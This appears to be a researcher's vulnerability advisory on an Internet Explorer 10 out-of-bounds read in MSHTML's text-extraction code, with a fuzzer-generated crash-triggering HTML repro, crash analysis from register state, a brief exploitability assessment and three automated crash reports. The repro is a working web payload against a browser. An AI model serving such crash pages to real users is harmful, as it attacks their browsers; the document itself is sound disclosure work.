This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. November 3rd, 2016 MSIE 10 MSHTML CElement::Get­Plain­Text­In­Scope out-of-bounds read

MSIE 10 MSHTML CElement::Get­Plain­Text­In­Scope out-of-bounds read

(The fix and CVE number for this bug are not known)

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer 10 to read data out-of-bounds. This issue was fixed before I was able to analyze it in detail, hence I did not determine exactly what the root cause was.

Known affected versions, attack vectors and mitigations

  • Internet Explorer 10

    An attacker would need to get a target user to open a specially crafted web-page. No special configuration settings are required in order to trigger the issue. No realistic mitigations are known; Javascript is not required to trigger the issue.

Repro

While my fuzzing framework does reduce the size of the repro for every case it finds, this unfortunately does not yet produce the very tiny, straight-forward repro files you may have come to expect from me. In order to create these, I need to manually clean up what my fuzzers produced. In this case, because the issue was addressed my Microsoft before I was able to look at the bug, I did not go trough that step, so the only repro I have is a bit of a mess, does not clearly provide information on what triggers the issue and probably contains a lot of data that is not actually needed to trigger it at all.

Repro.html ?xm?> <!DO><meta B>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@em><noframes st­SSS>qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<ins></ins><input type="file"></input type="file">WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW <details style="nav-left: auto !important; list-style-type: lower-greek; fill-opacity: 0.0089285714285714280757932925780551158823072910308837890625; text-align-last: center; writing-mode: rl-tb; fill-rule: nonzero; text-emphasis-style: open dot; marker-end: none; nav-index: 6; color-rendering: inherit" id="id_3" primary='2506545610.1541335502e+266' onwebkitanimationiteration><label><dt></table></dt></summary></input type="password"></figcaption><isindex></isindex>*****************<h3 style="color-interpolation: auto; border-image-outset: 0.0082644628099173556012857488894951529800891876220703125 !important; hyphenate-character: &quot;Rh{Xz*&lt;2Z-Y0i 9H#T`l­V|W&lt;X&gt;&amp;Kb4D/[\\4\\[3{wk­C$TYu*[m7KE43~x,=oen3Bix-bjm3\)Axr7o3_HBh­UU$?W7@&gt;*3_a­P#3t&lt;kjc­DD!~ Vq­X *YP05b­S5@|&amp;V:2\&quot;xc­Ia­M \&quot;y­W?J1olm!9Q\\?@`1*z^h;Zs8NCtj`&lt;^2Q^[gp@H&#x39;qw­Iiw­Lr|^UU:\9o­Kcf­L!9;\(w­X0///c&gt;tmp5PGSl­YC!EYx­AC\(&gt;CRZu&gt;!;J:Pv[x}* zs­SGx­Sv­TVm&gt;gg$4o=b5s­UF3&quot;; -webkit-mask-position: top; -webkit-animation-duration: +6.5ms; -webkit-margin-top-collapse: collapse; text-shadow: none; font: small-caption; -webkit-max-logical-width: intrinsic; caption-side: inherit" style=0x80000001></tbody></progress></noframes><nobr arluenow></nobr><noscript event><var><u ></noscript><input type="t="text"><video ied><p/>^<fyer>/form><b>22nnn+++</b></atosave><textarea id="id_@@@@@@">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj111111111111111777xx}}gg:::::::::::::::::::::::::::::::##^^^^^^^^mmmmmmmmmmmmmmm<legend><div class="class_0" onwaiting=`rgb(220,86,120)` oninvalid>DDhhhhhh</div><frame/><q style="-webkit-transform-origin: left !important; -webkit-box-pack: start; target: inherit; column-rule-width: none; text-decoration-line: line-through; border-width: thin; -webkit-margin-after: 18.80531505%; transition-delay: 23.17ms 3623.285s; -webkit-border-top-right-radius: 0000000000000000000000000000000025699999999% 00000000000000000000000000000000171798691869999999999999999% +000.008264462809917355601285748889495152980089187622070312500em; text-autospace: none" onmousewheel></frame></legend></h4>a­VVV&&&&&&<xml/>uuuuuuxxxxx|---<h6/><bgsound></bgsound><datagrid optimum></xml></form></label><var id="id_4" aria-label=PPP onkeydown='Beige' onstalled=`Olive` maxlength="}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSooooooooo~~~~~~WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW@@xxxxx">.VVVVV\qqq<caption></caption><option id="id_2" datetime/>9999cccppppppp<nolayer aria-readonly/></nolayer><img src="data:image/svg+xml,&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&qua;&lt;!DOCTYPE svg PUBLIC &quot;-//W3C//DTD SVG 1.1//EN&t;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&quot;&gt;&#&lt;svg&; version=&quot;1.1&quot;&#xd;&#xa; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&#&lt;/svg&gt;&#xd;&#xa;"></option></var></head><body></link><track class="class_5" hreflang onwaiting='sssssssssssssssssssssssssssssss&lt;______________)))))))))))))))))SSSSSS'>88888888888vv(GGGGGGGGSSSSSSSSSSSSSSSSSSSSSSSSSS,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll­Peee­VVVVVVVVVVVVVVVVVVVVVVV5555555555599999ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc<dfn><hgroup><noframes indeterminate="M" nowrap=&#xd;&#xd;Ldraggable=Fire­Brick action=YYYYYYYYYYYYYYTTTKKKKKKKKKKKKKKKQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ...>JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ:::::::::::::::::::::::::::::???????????????????????????????????OOOOOOOOOOOOOOOOOOOOOOOO

Description

My fuzzers were using a predecessor of Bug­Id to generate a report whenever they found a bug. Unfortunately, this wasn't as sophisticated as Bug­Id is, so the information contained in these report is not as helpful. Still, I saved three reports, for crashes with slightly different stacks. This could have been caused by three different versions of MSIE 10 (every month when Microsoft released a new version with patches, the code may be optimized differently, which could explain these differences). It could also have been caused by the fuzzing framework attempting to reduce the size of the repro by cutting out chunks, which could lead to slightly different code-paths. Unfortunately, I do not know which.

Either way, looking at the reports that were automatically generated for this bug (which can be found at the end of this article), one can find the following interesting information on all three:

  1. The stack tells us that there was a call to CText­Area::Notify, which suggests the one textarea element found in the repro is important to triggering the issue.
  2. The stack also tells us that there was a call to CElement::Get­Plain­Text­In­Scope, which is commonly used to extract the text inside an element, so the text content in the textarea element is probably also important to triggering the issue. Since there is no closing </textarea> tag, this could be all the data in the repro after the opening <textarea ...> tag, or up to the first closing tag (</div>), depending on how the HTML parser works.
  3. Clicking on stack Frame 1 in the report shows the report contains some disassembly and registers. Unfortunately, the code that generated the disassembly had a bug and started at the wrong address, so this isn't very useful. However, clicking on Registers will show that:

    • The crash happened in MSHTML!memcpy
    • the code looked for a Unicode linefeed (0x000A) immediately after data pointed to by edx.

    The Registers section also suggest the following:

    • ecx was 0, so maybe all the data was already copied at this point?
    • edx was apparently used as a pointer to the data being copied.

On-line documentation for memcpy does not mention this behavior of looking for a linefeed, so it could be that MSHTML has an odd implementation, or that the symbol is simply wrong. I'm assuming that the code did copy the text content of a textarea element and was looking for a CR, LF line terminator. Unfortunately, the data at edx only contained one or the other, causing the code to look for the LF outside of the memory area allocated to store the data.

Exploit

The above suggests that there is limit opportunity for exploiting this issue: it may be possible to determine if a memory block allocated for a string of an attacker controlled size is followed by a memory block that starts with the bytes 0A 00. To better understand the impact, one would have to get an older version of MSIE 10 and debug the crash. Unfortunately, I did not have time to do so.

Bug­Id report: MSHTML.dll!CElement::Get­Plain­Text­In­Scope Arbitrary~000 AVR(02058506)
id:             MSHTML.dll!CElement::Get­Plain­Text­In­Scope Arbitrary~000 AVR(02058506)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x0D863000) in MSHTML.dll!CElement::Get­Plain­Text­In­Scope
note:           Based on this information, this is expected to be a security issue!
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
Bug­Id report: MSHTML.dll!CElement::Get­Plain­Text­In­Scope Arbitrary~000 AVR(4B67A6C4)
id:             MSHTML.dll!CElement::Get­Plain­Text­In­Scope Arbitrary~000 AVR(4B67A6C4)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x10680000) in MSHTML.dll!CElement::Get­Plain­Text­In­Scope
note:           Based on this information, this is expected to be a security issue!
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
Bug­Id report: MSHTML.dll!CElement::Get­Plain­Text­In­Scope Arbitrary~000 AVR(56BB30E2)
id:             MSHTML.dll!CElement::Get­Plain­Text­In­Scope Arbitrary~000 AVR(56BB30E2)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x119A6000) in MSHTML.dll!CElement::Get­Plain­Text­In­Scope
note:           Based on this information, this is expected to be a security issue!
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
© Copyright 2024 by Sky­Lined. Last updated on March 23rd, 2024. Creative Commons License This work is licensed under a Creative Commons Attribution-Non‑Commercial 4.0 International License. If you find this web-site useful and would like to make a donation, you can send bitcoin to 183yyxa9s1s1f7JBp­PHPmz­Q346y91Rx5DX.